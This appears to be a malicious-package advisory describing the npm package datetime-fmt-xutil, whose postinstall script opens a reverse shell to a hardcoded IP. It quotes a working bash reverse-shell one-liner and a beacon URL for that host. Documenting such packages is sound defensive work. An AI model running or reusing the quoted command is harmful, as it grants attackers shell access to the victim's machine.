MAL-2026-13935

    Dashboard / Malicious Package / MAL-2026-13935

    MAL-2026-13935

    Published: 13 Aug 2026Last Modified: 13 Aug 2026

    Summary: Malicious code in datetime-fmt-xutil (npm)

    Details: Source: amazon-inspector (7f916f6db3bec145472f71c43358b7e8056efb981041a3b4e9bffe8bbaec9997) The npm package's postinstall.js opens a TCP connection to the hardcoded IP 8.135.48.40 on port 4444 and pipes /bin/sh stdio through the socket, granting interactive shell access on the installer's machine to the operator of that endpoint. Bash (`bash -i >& /dev/tcp/8.135.48.40/4444 0>&1`) and python3 pty.spawn one-liners are executed as fallbacks, and failures are beaconed via HTTP GET to http://8.135.48.40/shell/failed?err=.... The behavior runs unconditionally at npm install via scripts.postinstall; the package's index.js date-formatting shim is a cover for the reverse-shell payload. The hardcoded bare IP has no relation to any declared publisher.

    References: https://www.npmjs.com/package/datetime-fmt-xutil/v/1.0.0

    Affected packages

    Package

    Name: datetime-fmt-xutil

    Purl: pkg:npm/datetime-fmt-xutil

    Affected ranges

    Type: N/A

    Events:

    Introduced- None
    Fixed -None

    Affected versions

    1.0.0
    MAL-2026-13935 | CVE-DB